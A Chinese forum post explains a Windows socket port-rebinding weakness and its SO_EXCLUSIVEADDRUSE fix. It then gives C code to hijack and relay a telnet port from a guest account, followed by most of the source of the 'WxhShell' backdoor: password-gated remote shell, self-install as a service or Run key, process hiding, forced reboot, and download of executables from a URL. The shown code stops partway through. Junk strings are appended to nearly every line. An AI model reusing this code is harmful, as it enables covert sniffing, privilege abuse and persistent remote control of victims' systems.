社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17804阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1:|o7`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %w!x \UV  
G8Ow;:Ro  
  saddr.sin_family = AF_INET; KfC{/J\   
mZnsr@KF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); eG dFupfz  
).tTDZ   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h>z5m   
tC/+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p7.~k1h  
wr>6Go%  
  这意味着什么?意味着可以进行如下的攻击: zf\$T,t)  
k$Ug;`v#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Io /;+R .  
q03nu3uDI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @c>MROlrlF  
.\ vrBf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K'K/}q<  
LF:~& m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  XHJ/211  
6jov8GIAt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J0t_wM Ja  
*~UK5Brf1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z4]z3U<}3]  
AZ\f6r{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J'wJe,  
>@Na6BH5v  
  #include >v1.Gm  
  #include L5wFbc"u  
  #include \ ~C/  
  #include    Ga <=Di):  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4~d:@Gmk&  
  int main() `0u)/s$  
  { 530Kk<%^}8  
  WORD wVersionRequested; ' 1dhdm8  
  DWORD ret; c11;(  
  WSADATA wsaData; raMtTL+  
  BOOL val; 4Le{|B  
  SOCKADDR_IN saddr; qzu(4*Gk6  
  SOCKADDR_IN scaddr; |k: FNu]C  
  int err; Jg.^h1>x  
  SOCKET s; 1 a%1C`d  
  SOCKET sc; #A< |qd  
  int caddsize; !H9zd\wc  
  HANDLE mt; LZJFp@  
  DWORD tid;   <yw=+hz[u  
  wVersionRequested = MAKEWORD( 2, 2 ); ,GtN6?  
  err = WSAStartup( wVersionRequested, &wsaData ); JUq7R%"h6  
  if ( err != 0 ) { T IyHM1+  
  printf("error!WSAStartup failed!\n");  Ozsvsa  
  return -1; AG G xx?I  
  } W7\UZPs5t  
  saddr.sin_family = AF_INET; *4Z! 5iOs  
   )<5hga][~a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0/~{,  
oSO~72  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SU.$bsu  
  saddr.sin_port = htons(23); s}4k^NGFJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $o ;48uV^  
  { v\=k[oOu  
  printf("error!socket failed!\n"); dZC jg0cx  
  return -1; iW[%|ddk  
  } _6aI>b#yL  
  val = TRUE; B2)5Z]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <II>io ;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fV!~SX6S  
  { ?]_A~_J!  
  printf("error!setsockopt failed!\n"); - G=doP0  
  return -1; 7Ewq'Vu`y  
  } *M6j)jqV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D@ BP<   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i\ )$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b,#?LdQ%  
cfc=a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ypTH=]y  
  { Rvj[Csgi  
  ret=GetLastError(); T7(U6yN  
  printf("error!bind failed!\n"); jGDuKb@:  
  return -1; PJ)d5D%T  
  } q9nQ/]rkHF  
  listen(s,2); MX|@x~9W  
  while(1) _u#r;h[  
  { 5^N` ~  
  caddsize = sizeof(scaddr); WG&WPV/p  
  //接受连接请求 u)Vn7zh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?+byRoY>&g  
  if(sc!=INVALID_SOCKET) -[z1r)RZ  
  { j Oxnf%jl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sQO>1bh  
  if(mt==NULL) yk2XfY  
  { W: 3fLXk+  
  printf("Thread Creat Failed!\n");  &/)To  
  break; o4YF,c+>q  
  } ]QF*\2b-I2  
  } V B=jK Mi  
  CloseHandle(mt); `bNLmTS  
  } 'D^@e0.3  
  closesocket(s); a.XMeB  
  WSACleanup(); jq(rnbV  
  return 0; u/` t+-A  
  }   8@KGc )k  
  DWORD WINAPI ClientThread(LPVOID lpParam) \Bl`;uXb  
  { YcM 0A~<  
  SOCKET ss = (SOCKET)lpParam; m3`J9f,c/  
  SOCKET sc; 9#\oGzDN  
  unsigned char buf[4096]; + ;B K|([#  
  SOCKADDR_IN saddr; F^cu!-L  
  long num; 41i#w;ojI  
  DWORD val; z[]8"C=  
  DWORD ret; 3o_@3-Y%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [h0)V(1KR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Shu=oweJ  
  saddr.sin_family = AF_INET; bG]?AiW r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3Io7!:+  
  saddr.sin_port = htons(23); xp]_>WGq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B~u`bn,iQ  
  { E>YE3-]  
  printf("error!socket failed!\n"); @KU^B_{i  
  return -1; (_Rl f$D  
  } ;@<e]Ft  
  val = 100; _TVKvRh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) if+97^Oy  
  { b2hXFwPe  
  ret = GetLastError(); lkb,UL;V  
  return -1; 8q|T`ac+N  
  } )fbYP@9>a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?b?YiK&yz  
  { AN+S6t  
  ret = GetLastError(); o_.`&Q6n  
  return -1; vk3C&!M<a  
  } Bv^5L>JZ/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .Q DeS|l  
  { P5Pb2|\*  
  printf("error!socket connect failed!\n"); Y58et9gRO  
  closesocket(sc); f}Uf* Bp  
  closesocket(ss); (q=),3/<pU  
  return -1; P?<G:]W  
  } E7@m& R  
  while(1) B\quXE)  
  { H) q_9<;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 uL=FK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k}e~xbh-y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #6 M3BF  
  num = recv(ss,buf,4096,0); cTdX'5  
  if(num>0) q)y<\cEO  
  send(sc,buf,num,0); e^-CxHwA-  
  else if(num==0) ~L9I@(/ S  
  break; le~p2l#e   
  num = recv(sc,buf,4096,0); 17!<8vIV$C  
  if(num>0) ")3$. '5Dg  
  send(ss,buf,num,0); l  !JTM  
  else if(num==0) )8V=!73  
  break; G4J)o?:m@  
  } uVzvUz{b  
  closesocket(ss); mfr7w+DK  
  closesocket(sc); ,xy$h }g  
  return 0 ; eJ60@N\A  
  } `'b2 z=j  
8 g3?@i  
1W{t?1[s  
==========================================================  1"RC!  
+ y|Q7+  
下边附上一个代码,,WXhSHELL B5!|L)7>{p  
70N Lv  
========================================================== X 3(*bj>P  
N$P\$  
#include "stdafx.h" ; r95i1a'  
g ?{o2gG  
#include <stdio.h> :+meaxbu  
#include <string.h> cA B<'44R  
#include <windows.h> QJU\YH%}  
#include <winsock2.h> A%.ZesjAx  
#include <winsvc.h> >]ZW.?1h  
#include <urlmon.h> uQz!of%x  
1F{,Zr  
#pragma comment (lib, "Ws2_32.lib") K8fC>iNbH  
#pragma comment (lib, "urlmon.lib") i?'|}tK  
$SdpF-'  
#define MAX_USER   100 // 最大客户端连接数 B;J8^esypD  
#define BUF_SOCK   200 // sock buffer 0uJ??4N9  
#define KEY_BUFF   255 // 输入 buffer oGz5ZDa#  
75H;6(7  
#define REBOOT     0   // 重启 WO[O0!X  
#define SHUTDOWN   1   // 关机 `"y:/F"{  
!iU$-/,1e  
#define DEF_PORT   5000 // 监听端口 6K5mMu#4  
mD;ioaE  
#define REG_LEN     16   // 注册表键长度 'oF('uR  
#define SVC_LEN     80   // NT服务名长度 PySFhb@  
QQ./!   
// 从dll定义API gm7 [m}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %(:{TR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @81N{tg-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pSodT G$E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); il$eO 7  
u4DrZ-v  
// wxhshell配置信息 wnHfjF  
struct WSCFG { aA'of>'ib|  
  int ws_port;         // 监听端口 T (? CDc+  
  char ws_passstr[REG_LEN]; // 口令 S%df'bh$  
  int ws_autoins;       // 安装标记, 1=yes 0=no q5\iQ2f{WV  
  char ws_regname[REG_LEN]; // 注册表键名 #E#Fk3-ljQ  
  char ws_svcname[REG_LEN]; // 服务名 Nu@dMG<5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 | &/_{T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e;9x%kNs!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mt&n|']`8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @nIoIz D~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8+8L'Yv;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z+<ofZ(.  
VUZeC,FfO  
}; W>&!~9H  
5jHr?C  
// default Wxhshell configuration ,iXQ"):!OB  
struct WSCFG wscfg={DEF_PORT, *s|'V+1  
    "xuhuanlingzhe", j eyGIY  
    1, 0N_u6*@  
    "Wxhshell", ku GaOO  
    "Wxhshell", =4gPoS  
            "WxhShell Service", |2Uw8M7.E  
    "Wrsky Windows CmdShell Service", 3e)$<e  
    "Please Input Your Password: ", {2U3   
  1, )oy+-1dE  
  "http://www.wrsky.com/wxhshell.exe", y-mjfW`n  
  "Wxhshell.exe" +QeA*L$~  
    }; SZ~lCdWad  
; KT/;I  
// 消息定义模块 8LUl@!4b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JV?d/[u,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ':]Hj8t_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M"yOWD~s~  
char *msg_ws_ext="\n\rExit."; o,{]<Sm  
char *msg_ws_end="\n\rQuit."; me$nP}%C&  
char *msg_ws_boot="\n\rReboot..."; wxy@XN"/i+  
char *msg_ws_poff="\n\rShutdown..."; -Sa-eWP  
char *msg_ws_down="\n\rSave to "; z-h?Q4;  
h;):TFiC  
char *msg_ws_err="\n\rErr!"; L9d|7.b  
char *msg_ws_ok="\n\rOK!"; |BXp`  
@Y!B~  
char ExeFile[MAX_PATH]; ]rji]4s  
int nUser = 0; T9uOOI  
HANDLE handles[MAX_USER]; D/+l$aBz  
int OsIsNt; y:Aha#<  
k\IdKiOj!D  
SERVICE_STATUS       serviceStatus; -#,4rN#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1P WTbd l  
ZP ]Ok  
// 函数声明 #szIYyk  
int Install(void); oj@=Cq':-  
int Uninstall(void); A0bR.*3  
int DownloadFile(char *sURL, SOCKET wsh); S84S/y  
int Boot(int flag); 0{-?Wy  
void HideProc(void); #X2wy$GTG  
int GetOsVer(void); IUz`\BO4  
int Wxhshell(SOCKET wsl); S2>$S^[U  
void TalkWithClient(void *cs); HQMug  
int CmdShell(SOCKET sock); JA4}B wn  
int StartFromService(void); k}!'@  
int StartWxhshell(LPSTR lpCmdLine); xXSfYW  
nX8ulGGs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eo^C[# .  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wV\G$|Y  
#"fn;  
// 数据结构和表定义 Gh 352  
SERVICE_TABLE_ENTRY DispatchTable[] = 3gtKD9RL:  
{ -B#K}xL|x  
{wscfg.ws_svcname, NTServiceMain}, 1 ]ePU8  
{NULL, NULL} m$7C{Mr'  
}; HhwAzk/G~  
X$_pDF&\z  
// 自我安装 S3&n?\CO:  
int Install(void) oA3;P]~[  
{ *:ErZ UyQM  
  char svExeFile[MAX_PATH]; )nrYxxN  
  HKEY key; )>@%;\qV  
  strcpy(svExeFile,ExeFile); OxUc,%e9P  
\\3 ?ij:v  
// 如果是win9x系统,修改注册表设为自启动 Vq'n$k}  
if(!OsIsNt) { h.kjJF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U5p3b;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `uC^"R(m  
  RegCloseKey(key); <r m)c.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z<gII~%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TeFi[1  
  RegCloseKey(key); 4gZ)9ya   
  return 0; \i\>$'f*z  
    } p3e=~{v*  
  } ^tIYr <I  
} 4/OmgBo '  
else { tlB -s;  
n%Oq"`w4  
// 如果是NT以上系统,安装为系统服务 Q{CRy-ha  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $F NH:r<  
if (schSCManager!=0) N%%trlDXD  
{ Lcf?VV}  
  SC_HANDLE schService = CreateService U2CC#,b!(  
  ( 8fktk?|  
  schSCManager, q/ (h{cq  
  wscfg.ws_svcname, Y*IKPnPot2  
  wscfg.ws_svcdisp, ,aIkiT  
  SERVICE_ALL_ACCESS, `G%h=rr^c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %evtIU<h  
  SERVICE_AUTO_START, kSEgq<i!  
  SERVICE_ERROR_NORMAL, 4p%^?L?  
  svExeFile, ')/w+|F  
  NULL, 6OqF-nso[E  
  NULL, umCmxm r&  
  NULL, D !{e  
  NULL, _9q byhS7  
  NULL uh% J  
  ); fYpJ2y-sA  
  if (schService!=0) { ft |*  
  { | GN/{KH]  
  CloseServiceHandle(schService); 'p@m`)Z  
  CloseServiceHandle(schSCManager); )0g!lCfb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `gyk e2n  
  strcat(svExeFile,wscfg.ws_svcname); /F6"uZSt4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5K-,k^T}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *Uy;P>8  
  RegCloseKey(key); Fk9]u^j  
  return 0; f4&;l|R0a  
    } yYSoJqj Q  
  } DQ9aq.;  
  CloseServiceHandle(schSCManager); ?cn`N|   
} o-JB,^TE  
} h B_p  
yXqC  
return 1; yPg0 :o-  
} ;Sg,$`]  
i0*Cs#(=h  
// 自我卸载 T Qx<lw  
int Uninstall(void) 57O|e/2  
{ IZ87Px>zL  
  HKEY key; wQ[!~>A  
y]+[o1]-c  
if(!OsIsNt) { {fjBa,o #  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0A-yQzL|  
  RegDeleteValue(key,wscfg.ws_regname); #lMC#Ld  
  RegCloseKey(key); ,_s.amL3O{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fjY:u,5V_  
  RegDeleteValue(key,wscfg.ws_regname); %LD(S*>7  
  RegCloseKey(key); mn*}U R  
  return 0; PZO.$'L|7  
  } @(+\*]?^&  
} \DWKG~r-%  
} )>"pm {g2  
else { _~*j=XRs  
v#`>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TK%q}bK,  
if (schSCManager!=0) |_QpB?b  
{ d1D=R8P_u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W; os4'h$  
  if (schService!=0) VJl0UM3{J  
  { 0C\cM92o  
  if(DeleteService(schService)!=0) { s,AJR [  
  CloseServiceHandle(schService); 2.]d~\  
  CloseServiceHandle(schSCManager); Dy 8H(_  
  return 0; LC$M_Cpw  
  } hpYv*WH:  
  CloseServiceHandle(schService); m)?0;9bt  
  } (44L8)I.D  
  CloseServiceHandle(schSCManager); )>U"WZ'<  
} #2$wI^O  
} -$_FKny  
4'`H H  
return 1; (`4&Y-  
} L3'isaz&^  
xg8R>j  
// 从指定url下载文件 :RwURv+kT  
int DownloadFile(char *sURL, SOCKET wsh) hwQ|'^(@O  
{ ]6s/y  
  HRESULT hr; :SWrx MT  
char seps[]= "/"; w'XSkI_ay  
char *token; {d]B+'  
char *file; :>Qu;Z1P  
char myURL[MAX_PATH]; )X:Sfk  
char myFILE[MAX_PATH]; c5:0`~5Fn  
o iC@ /  
strcpy(myURL,sURL); UEt78eN  
  token=strtok(myURL,seps); J!G92A~*]  
  while(token!=NULL) AK%&Kq&PaY  
  { Iza;~8dH5  
    file=token; ld):Am}/o  
  token=strtok(NULL,seps); mAY/J0_  
  } bv7xh*/  
bj0<A  
GetCurrentDirectory(MAX_PATH,myFILE); wZ69W$,p  
strcat(myFILE, "\\"); ]YfG`0eK<  
strcat(myFILE, file); Qh6 vH9(D  
  send(wsh,myFILE,strlen(myFILE),0); z@?y(E  
send(wsh,"...",3,0); Aq7`A^1t$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tFX<"cAvK  
  if(hr==S_OK) %e)vl[:}  
return 0; Pn4jI(  
else W$&*i1<a+  
return 1; :#_k`{WG  
lUp%1x+  
} Io>U-Zd\>  
SG&H^V8  
// 系统电源模块 |id7@3leu  
int Boot(int flag) (n_.bSI  
{ heB![N0:  
  HANDLE hToken; m!!;CbPo  
  TOKEN_PRIVILEGES tkp; S4_ZG>\VT  
KL9JA; "  
  if(OsIsNt) { 6 OvH"/X4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k6Vs#K7a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o8IqO'  
    tkp.PrivilegeCount = 1; !vc 5NKv#n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X7:Dw]t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $P#+Y,r~\  
if(flag==REBOOT) { UfV { m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3UZ_1nY  
  return 0; [nX{ sM%  
} S$R=!3* "V  
else { m7XN6zX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wf%)::G*uR  
  return 0; /k^j'MMQs6  
} W~i0.rg|>  
  } 3/& |Z<f  
  else { aO9\8\^  
if(flag==REBOOT) { 8^^ehaxy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8JW0;H<  
  return 0; 3W.D^^)eCV  
} `ZP[-:`  
else { Et}%sdS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VeQ [A?pER  
  return 0; (4`Tf*5hHa  
} F^TOLwix  
} r8FAV9A  
!}1l8Y  
return 1; ?6I`$ &OA  
} I>-}ys`[  
4xFAFK~lx  
// win9x进程隐藏模块 q?L*Luu+  
void HideProc(void) XoMgb DC  
{ n iB<h  
&;Go CU Le  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I9U 8@e!X  
  if ( hKernel != NULL ) {c&9}u$e  
  { m5KLi &R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m^)\P?M5|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S%7 bM~J@  
    FreeLibrary(hKernel); W>P:EI1  
  } ~IQjQz?  
CyB1`&G>  
return; PM {L}tEQ  
} (ijO|%?  
:n x;~f  
// 获取操作系统版本 `0{qfms  
int GetOsVer(void) )*o) iN 7l  
{ x}reeqn  
  OSVERSIONINFO winfo; sn@)L~$V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xrJ0  
  GetVersionEx(&winfo); 2Paw*"U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xz,M>Ua  
  return 1; #`"B YFV[E  
  else HI)U6.'  
  return 0; EVbDI yFn  
} M49Hm[0(  
Z \ -  
// 客户端句柄模块 <)@^TRS  
int Wxhshell(SOCKET wsl) Ax!fvcsN  
{ $>%zNq-F  
  SOCKET wsh; wKz*)C  
  struct sockaddr_in client; e9B$"_ &2  
  DWORD myID; dBW#PRg  
6M8(KN^  
  while(nUser<MAX_USER) m(WVxVB  
{ Gs}lw'pK  
  int nSize=sizeof(client); q?&JS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8ZO~=e  
  if(wsh==INVALID_SOCKET) return 1; xtp55"g  
)/tdiRpn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m$q*  
if(handles[nUser]==0) NW Pd~l+  
  closesocket(wsh); It^_?oiK  
else ]g9n#$|.  
  nUser++; ;{cl*EN  
  } jTY{MY Jh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f<3r;F7  
83"C~xe?p4  
  return 0; \G1(r=fU  
} 5c l%>U  
:.\h.H;  
// 关闭 socket N;e*eMFE  
void CloseIt(SOCKET wsh) s-xby~  
{ -QP1Se*#  
closesocket(wsh); o/\z4Ri)$  
nUser--;  eYRm:KC  
ExitThread(0); R )e^H  
} 2VS#=i(B^  
{eo?vA8SE  
// 客户端请求句柄 \[x4  
void TalkWithClient(void *cs) ' 9  
{ ~wRozV  
NW;wy;;  
  SOCKET wsh=(SOCKET)cs; @BXV>U2B{  
  char pwd[SVC_LEN]; h%@#jvh?4  
  char cmd[KEY_BUFF]; aMjCqu05  
char chr[1]; 5($ '@u  
int i,j; %5H>tG`]   
uc;QSVWGy8  
  while (nUser < MAX_USER) { 5=Y\d,SS"  
'GcZxF0  
if(wscfg.ws_passstr) { ktKT=(F&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tI(co5 W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7gQ~"Q  
  //ZeroMemory(pwd,KEY_BUFF); Zx]"2U#  
      i=0; [VP ~~*b  
  while(i<SVC_LEN) { {%b-~& F9  
\D #NO  
  // 设置超时 nEm+cHHo?  
  fd_set FdRead; !P0Oq)q  
  struct timeval TimeOut; 0qV!-i  
  FD_ZERO(&FdRead); D*j\gI  
  FD_SET(wsh,&FdRead); hw&R .F  
  TimeOut.tv_sec=8; ^T|~L<A3  
  TimeOut.tv_usec=0; g< {jgF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #`4ma:Pj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rB:W\5~7  
f"5vpU^5*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pJ5Sxgv{;  
  pwd=chr[0]; 6(}8[i:  
  if(chr[0]==0xd || chr[0]==0xa) { U{o0Posg  
  pwd=0; `=Hh5;ep  
  break; 6F3#Rxh  
  } ( Qw"^lE3  
  i++; x*[\$E`v  
    } ~$i36"  
Ro?a DrQ  
  // 如果是非法用户,关闭 socket ~8Z0{^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sD* 8:Hl  
} |L4K#  
@D rMaTr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tq^H)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?j8F5(HF?  
b{t'Doe  
while(1) { g Xvuv^  
N$H0o+9-Y  
  ZeroMemory(cmd,KEY_BUFF); oxb#{o9G  
(AdQ6eGMb  
      // 自动支持客户端 telnet标准   C_Y^<  
  j=0; BXVmt!S5F  
  while(j<KEY_BUFF) { iP;X8'< BC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <ok/2v  
  cmd[j]=chr[0]; C-$S]6  
  if(chr[0]==0xa || chr[0]==0xd) { m-UI^M,@<  
  cmd[j]=0; vO"Sy{)Z>  
  break; >v`lsCGb  
  } 41WnKz9c  
  j++; .S17O}  
    } 4QZ -7_  
m#mM2Guxe  
  // 下载文件 eW]K~SPd7  
  if(strstr(cmd,"http://")) { <DCrYt!1}c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J A ]s  
  if(DownloadFile(cmd,wsh)) T2 0dZ8{y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U&|=dH]-  
  else j9sf~}D>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7^h?<X\  
  } =usx' #rb  
  else { `(?E-~#'  
;Id%{1  
    switch(cmd[0]) { {mMrD 5  
  %< JjftNQ  
  // 帮助 -82Rz   
  case '?': { oW(p (>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /+ vl({vV  
    break; 0x'>}5`5  
  } Nrva?W_i  
  // 安装 _K>cB<+d  
  case 'i': { a5:Q%F<!  
    if(Install()) <XX\4[wb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )R+@vh#Q<$  
    else Q i#%&Jz>f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xXM`f0s@+]  
    break; Z}TuVE  
    } {=j!2v#8~  
  // 卸载 |_8- 3  
  case 'r': { i=@.u=:  
    if(Uninstall()) FJgr=9>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d>eVR  
    else ^)conSm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xxgS!J  
    break; 3Ln~"HwP  
    } dU\,>3tG  
  // 显示 wxhshell 所在路径 at${^,&  
  case 'p': { `h/j3fmX?  
    char svExeFile[MAX_PATH]; Id(o6j^J_  
    strcpy(svExeFile,"\n\r"); ~xpU<Pd*  
      strcat(svExeFile,ExeFile); ?N<* ATC L  
        send(wsh,svExeFile,strlen(svExeFile),0); 1+v&SU  
    break; jzSh|a9_  
    } y!;rY1  
  // 重启 g8 ,V( ^  
  case 'b': { mHB*4L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LX'.up11X5  
    if(Boot(REBOOT)) }BS.OK?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O E0w/{  
    else { >xws  
